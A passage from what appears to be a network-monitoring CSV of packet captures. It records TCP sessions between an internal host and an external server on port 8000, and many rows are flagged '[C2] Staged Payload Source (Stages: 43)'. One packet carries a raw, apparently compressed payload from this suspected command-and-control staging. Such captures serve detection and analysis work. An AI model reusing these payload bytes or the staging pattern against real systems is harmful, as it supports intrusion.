\"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45523, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15915, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:31.093460,1150,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e3400040062a11c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1507, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10769, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:32.093474,1151,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d4400080063e2a0a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45524, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15914, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:32.093507,1152,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e4400040062a10c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1508, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10768, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:33.109118,1153,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d5400080063e290a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45525, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15913, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:33.109152,1154,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e5400040062a0fc0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1509, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10767, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:34.109071,1155,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487933 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1d6400080063e280a98980bc0a3a789fa6f1f404a2d60fd31e3a06e50102014edc2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45526, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15912, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487933, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60866, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:34.109093,1156,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500003405e6400040062a0ec0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe8010003f0af700000101050a4a2d60fd4a2d60fe,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1510, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10766, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487933, 1244487934))]\"\"}}]\"\n2026-07-01 09:14:34.762269,1157,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=837001326 Ack=1244487934,bc2411360d0cbc24112907bb08004500002805e7400040062a19c0a3a7890a98980b1f40fa6f31e3a06e4a2d60fe5011003f0aeb0000,\".$.6\n..$.)....E..(..@.@.*.....\n....@.o1..nJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10777, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487934, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:34.762435,1158,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1244487934 Ack=837001327,bc24112907bbbc2411360d0c080045000028b1d7400080063e280a98980bc0a3a789fa6f1f404a2d60fe31e3a06f50102014edc10000,\".$.)...$.6\n...E..(..@...>(\n........o.@J-`.1..oP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45527, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15912, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487934, \"\"ack\"\": 837001327, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60865, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:34.762903,1159,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1244487934 Ack=837001327,bc24112907bbbc2411360d0c080045000028b1d8400080063e270a98980bc0a3a789fa6f1f404a2d60fe31e3a06f50112014edc00000,\".$.)...$.6\n...E..(..@...>'\n........o.@J-`.1..oP. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45528, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15911, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487934, \"\"ack\"\": 837001327, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60864, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:34.762917,1160,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001327 Ack=1244487935,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa6f31e3a06f4a2d60ff5010003f0d960000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.o1..oJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001327, \"\"ack\"\": 1244487935, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3478, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:38.783668,1161,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=132548449 Ack=0,bc24112907bbbc2411360d0c080045000034b1d9400080063e1a0a98980bc0a3a789fa751f4007e68761000000008002faf0c0510000020405b40103030801010402,\".$.)...$.6\n...E..4..@...>.\n........u.@...a.........Q..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45529, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15898, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548449, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 49233, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:14:38.783699,1162,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=958171290 Ack=132548450,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa75391c889a07e687628012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.u9......b....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171290, \"\"ack\"\": 132548450, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:14:38.783963,1163,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=132548450 Ack=958171291,bc24112907bbbc2411360d0c080045000028b1da400080063e250a98980bc0a3a789fa751f4007e68762391c889b501020141a3a0000,\".$.)...$.6\n...E..(..@...>%\n........u.@...b9...P. ..:..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45530, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15909, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548450, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6714, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:38.798571,1164,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=132548450 Ack=958171291,bc24112907bbbc2411360d0c0800450000c9b1db400080063d830a98980bc0a3a789fa751f4007e68762391c889b50182014a9a900009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91f3719bc7af6328350f006d3cad5d,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...c(5..m<.]\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45531, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15747, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548450, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 43433, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91f3719bc7af6328350f006d3cad5d\"\"}}]\"\n2026-07-01 09:14:38.798598,1165,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000028b012400040067fedc0a3a7890a98980b1f40fa75391c889b07e688035010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.......\n....@.u9.......P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45074, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32749, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 